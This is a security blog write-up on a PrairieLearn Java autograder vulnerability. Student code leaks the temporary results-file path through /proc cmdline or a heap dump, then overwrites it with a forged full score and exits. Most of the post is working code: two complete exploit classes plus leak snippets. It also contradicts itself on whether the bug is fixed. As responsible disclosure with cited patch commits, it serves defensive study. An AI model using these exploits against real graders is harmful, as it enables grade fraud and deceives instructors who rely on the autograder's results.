Breaking PrairieLearn Java Grader

Posted on In

PrairieLearn Java Autograder Vulnerability

Aynakeya aynakeya.official@gmail.com

Abstract

This is a walkthrough of one vulnerability I found in PrairieLearn Java autograder.

The default Java autograder exists vulnerabilities that allow user to leak information and write files to the container.

These vulnerabilities allow the user to modify the result of autograder score and get 100% without writing any actual code.

Vulnerability has been fixed in commit 7871ce5

Since the vulnerability hasn't been fixed yet. Anyone who read this document should not disclose the content of the vulnerability

to public in any form until the vulnerability is fixed and deployed to production.

Basic Idea

autograder.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

exception() {
    jq -n --arg msg "$1" '{gradable: false, message: $msg}' > $RESULTS_FILE
    exit 0
}

# ...

RESULTS_TEMP_DIR=$(mktemp -d -p /grade/results)
RESULTS_TEMP_FILE="$RESULTS_TEMP_DIR/$RANDOM.json"

# ...

java -cp "$CLASSPATH" JUnitAutograder "$RESULTS_TEMP_FILE" "$TEST_FILES" "$STUDENT_COMPILE_OUT"
EOF

if [ -f $RESULTS_TEMP_FILE ] ; then
    mv $RESULTS_TEMP_FILE $RESULTS_FILE
else
    exception "No grading results could be retrieved.
This usually means your program crashed before results could be saved.
The most common cause is a call to System.exit(),
though this may be a result of stack overflow, excessive memory allocation, or similar problems."
fi

The script call JUnitAutograder with the students' file and test file, then the result(score) is written to $RESULTS_TEMP_FILE.

After grading is done, the script checks if $RESULTS_TEMP_FILE exists. if exists, then grading is successfully done by autograder

and the result will be copied into $RESULTS_FILE. This result will then be read by the system outside the container.

Otherwise, it will raise an exception and set gradable=false in the result.

So, the main idea of autograder pwn is to somehow get the random filename (generated by $RESULTS_TEMP_DIR/$RANDOM.json),

then write our own fake result into the file. finally, exit the program immediately to prevent the result been overwritten again.

Since we've already written a temp result file, the script will evaluate our fake results as real results.

Leaking information

Leaking information from the sever is pretty straightforward.

Since autograder uses org.opentest4j, We can throw an unexpected RuntimeException with the information we want. 

1
2
3
public synchronized void close() {
    throw new RuntimeException("I can leak whatever I want as string here");
}

Then, autograder will display the information we want in Message Box like

2023-01-23_184909.png

Leaking RESULTS_TEMP_FILE

V1: leaking from command line arguments

First I tried to leak $RESULTS_TEMP_FILE using environment variable.

1
2
3
public static void leakingFailed() {
    throw new RuntimeException(String.format("temp file is %s",System.getenv("RESULTS_TEMP_FILE")));
}

However, this approach failed with following information

1
java.lang.RuntimeException: temp file is: null

Then I noticed that our program is called by following command line, where $RESULTS_TEMP_FILE is passed as an argument.

If I can access command line arguments, I can get the RESULTS_TEMP_FILE

1
java -cp "$CLASSPATH" JUnitAutograder "$RESULTS_TEMP_FILE" "$TEST_FILES" "$STUDENT_COMPILE_OUT"

I seached in google and came up with this stackoverflow page

Although one solution didn't work, the other one successfully return

failed

1
2
3
4
5
6
7
8
9
// Result: "java.lang.RuntimeException: lol error: []"
public synchronized Collection<Definition> getDefinitions(String word, Database database) throws DictConnectionException {
    Collection<Definition> set = new ArrayList<>();

    // from
    // https://stackoverflow.com/questions/2541627/how-do-i-get-the-commandline-that-started-the-process
    this.unhandledException(String.format("lol error: %s",ManagementFactory.getRuntimeMXBean().getInputArguments()));
    return set;
}

succeed

1
2
3
4
5
6
7
8
9
10
11
12
public synchronized void close() {
    String text;
    try {
        long pid = ProcessHandle.current().pid();
        String cmdline = String.format("/proc/%d/cmdline",pid);
        text = new String(Files.readAllBytes(Paths.get(cmdline)), StandardCharsets.UTF_8);
    }catch (Exception e){
        throw new RuntimeException(e);
    }
    throw new RuntimeException(text);
}

message

1
java.lang.RuntimeException: java\u0000-cp�/grade/classpath:/grade/classpath/json-simple-1.1.1.jar:/grade/classpath/junit-platform-console-standalone-1.7.0-all.jar:�JUnitAutograder�/grade/results/tmp.MKlJ1ZgTju/6058.json�/grade/tests/junit/ca/ubc/cs317/dict/tests/DictionaryConnectionTest.java��

OvO: /grade/results/tmp.MKlJ1ZgTju/6058.json

V1: leaking from heap dump

After talking with PrairieLearn developers, I came up with second leaking method.

The idea of this method is very brutal - dump whole java heap memory as ascii string and search secret strings by regexp.

After some googling, I ended up with a native java api HotSpotDiagnosticMXBean.dumpHeap more. This api allows me creating java heap dump using a single call, perfect for me in this situation.

Then, I can read this heap dump as string and leak secrete strings (including path) using regexp. 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
String dumpPath = "/grade/params/heap.hprof";
Pattern signaturePattern = Pattern.compile("(?:[A-Za-z0-9+\\/]{4}){10}[A-Za-z0-9+\\/]{3}=");
Pattern tmpResultPattern = Pattern.compile("/grade/results/[^/]*/\\d+.json");
String tmpResultPath = "";
Matcher match;
try {
    dumpHeap(dumpPath, true);
    Scanner scnr = new Scanner(new FileReader(dumpPath));
    while (scnr.hasNext()) {
        match = tmpResultPattern.matcher(scnr.next());
        if (match.find() && !match.group(0).equals("/grade/results/[^/]*/\\d+.json")) {
            tmpResultPath = match.group(0);
            break;
        }
    }
}catch (Exception e) {
    // failed to create heap dump
    System.exit(0);
}

Writing Fake Result

After knowing how to getting the temp result file, everything is simple and easy.

  1. get temp result file
  2. create fake results
  3. write results to temp result file
  4. exit program using System.exit.

I basically copy paste code from JUnitAutograder.java and came up with following code (see full exploit below).

I uploaded exploit to PrairieLearn and here is the result I got!

2023-01-23_191424.png

Possible Mitigation

  1. Doing process isolation
  2. prevent user from accessing command line arguments (privilege?)

Update Log

Relevant commits:

First patch: information leaking from commandline was fixed in commit 2f263a8

Second patch: heap dump leaking was fixed in 7871ce5

Full exploit V1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
package ca.ubc.cs317.dict.net;

import org.json.simple.JSONArray;
import org.json.simple.JSONObject;

import java.io.FileWriter;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

// exploit for https://github.com/PrairieLearn/PrairieLearn/tree/master/graders/java
public class PrairieLearnExploit {
    public static void pwn(){
        String cmdline;
        try {
            long pid = ProcessHandle.current().pid();
            String cmdlinePath = String.format("/proc/%d/cmdline",pid);
            cmdline = new String(Files.readAllBytes(Paths.get(cmdlinePath)), StandardCharsets.UTF_8);
        }catch (Exception e){
            // failed to find cmdline file
            System.exit(0);
            return;
        }
        Pattern pattern = Pattern.compile("/grade/results/[^/]*/\\d+.json");
        Matcher matcher = pattern.matcher(cmdline);
        if (!matcher.find()){
            // failed to find tmp file
            System.exit(0);
            return;
        }
        // get temp file path
        System.out.println(matcher.group(0));
        JSONObject fake_test = newTest("Pwned","Pwned by aynakeya",
                16,16,"QAQ","OvO");
        JSONObject results = newResult(1,16,16,
                "PrairieLearn Java Autograder Exploit","Pwned by aynakeya",
                true,fake_test);
        try (FileWriter writer = new FileWriter(matcher.group(0))) {
            writer.write(results.toString());
        } catch (Exception e) {
            // failed to write;
            System.exit(0);
        }
        // exit to prevent overwrite
        System.exit(0);
    }

    public static JSONObject newTest(String name, String description,
                                   double points, double maxPoints,
                                   String output, String message) {
        JSONObject object = new JSONObject();
        object.put("name", name);
        object.put("description", description);
        object.put("points", points);
        object.put("max_points", maxPoints);
        object.put("output", output);
        object.put("message", message);
        return object;
    }

    public static JSONObject newResult(double score, double points,double maxPoints,
                                       String output,String message, boolean gradable,
                                       JSONObject ...tests) {
        JSONObject results = new JSONObject();
        // score 0-1
        results.put("score", score);
        results.put("points",points);
        results.put("max_points", maxPoints);
        results.put("output", output);
        results.put("message", message);
        results.put("gradable",gradable);
        JSONArray resultsTests = new JSONArray();
        for (JSONObject obj : tests) {
            resultsTests.add(obj);
        }
        results.put("tests", resultsTests);
        return results;
    }

    public static void leakingFailed() {
        throw new RuntimeException(String.format("temp file is %s",System.getenv("RESULTS_TEMP_FILE")));
    }
}

Full exploit V2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
package ca.ubc.cs317.dict.exploit;

import com.sun.management.HotSpotDiagnosticMXBean;
import org.json.simple.JSONArray;
import org.json.simple.JSONObject;

import javax.management.MBeanServer;
import java.io.FileReader;
import java.io.FileWriter;
import java.lang.management.ManagementFactory;
import java.util.Scanner;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

// exploit for https://github.com/PrairieLearn/PrairieLearn/tree/master/graders/java
public class PrairieLearnExploitV2 {
    private String tmpPath = "";
    private String secret = "";
    private static final String HOTSPOT_BEAN_NAME =
            "com.sun.management:type=HotSpotDiagnostic";

    // field to store the hotspot diagnostic MBean
    private static volatile HotSpotDiagnosticMXBean hotspotMBean;

    static void dumpHeap(String fileName, boolean live) {
        // initialize hotspot diagnostic MBean
        initHotspotMBean();
        try {
            hotspotMBean.dumpHeap(fileName, live);
        } catch (RuntimeException re) {
            throw re;
        } catch (Exception exp) {
            throw new RuntimeException(exp);
        }
    }

    // initialize the hotspot diagnostic MBean field
    private static void initHotspotMBean() {
        if (hotspotMBean == null) {
            synchronized (PrairieLearnExploitV2.class) {
                if (hotspotMBean == null) {
                    hotspotMBean = getHotspotMBean();
                }
            }
        }
    }

    // get the hotspot diagnostic MBean from the
    // platform MBean server
    private static HotSpotDiagnosticMXBean getHotspotMBean() {
        try {
            MBeanServer server = ManagementFactory.getPlatformMBeanServer();
            HotSpotDiagnosticMXBean bean =
                    ManagementFactory.newPlatformMXBeanProxy(server,
                            HOTSPOT_BEAN_NAME, HotSpotDiagnosticMXBean.class);
            return bean;
        } catch (RuntimeException re) {
            throw re;
        } catch (Exception exp) {
            throw new RuntimeException(exp);
        }
    }

    public static void pwnV2(){
        String dumpPath = "/grade/params/heap.hprof";
        Pattern signaturePattern = Pattern.compile("(?:[A-Za-z0-9+\\/]{4}){10}[A-Za-z0-9+\\/]{3}=");
        Pattern tmpResultPattern = Pattern.compile("/grade/results/[^/]*/\\d+.json");
        String tmpResultPath = "";
        Matcher match;
        try {
            dumpHeap(dumpPath, true);
            Scanner scnr = new Scanner(new FileReader(dumpPath));
            while (scnr.hasNext()) {
                match = tmpResultPattern.matcher(scnr.next());
                if (match.find() && !match.group(0).equals("/grade/results/[^/]*/\\d+.json")) {
                    tmpResultPath = match.group(0);
                    break;
                }
            }
        }catch (Exception e) {
            // failed to create heap dump
            System.exit(0);
        }
        JSONObject fake_test = newTest("Pwned",tmpResultPath,
                16,16,"QAQ","OvO");
        JSONObject results = newResult(1,16,16,
                "PrairieLearn Java Autograder Exploit","heap dump method",
                true,fake_test);
        try (FileWriter writer = new FileWriter(tmpResultPath)) {
            writer.write(results.toString());
        } catch (Exception e) {
            // failed to write;
            System.exit(0);
        }
        // exit to prevent overwrite
        System.exit(0);
    }

    public static JSONObject newTest(String name, String description,
                                   double points, double maxPoints,
                                   String output, String message) {
        JSONObject object = new JSONObject();
        object.put("name", name);
        object.put("description", description);
        object.put("points", points);
        object.put("max_points", maxPoints);
        object.put("output", output);
        object.put("message", message);
        return object;
    }

    public static JSONObject newResult(double score, double points,double maxPoints,
                                       String output,String message, boolean gradable,
                                       JSONObject ...tests) {
        JSONObject results = new JSONObject();
        // score 0-1
        results.put("score", score);
        results.put("points",points);
        results.put("max_points", maxPoints);
        results.put("output", output);
        results.put("message", message);
        results.put("gradable",gradable);
        JSONArray resultsTests = new JSONArray();
        for (JSONObject obj : tests) {
            resultsTests.add(obj);
        }
        results.put("tests", resultsTests);
        return results;
    }
}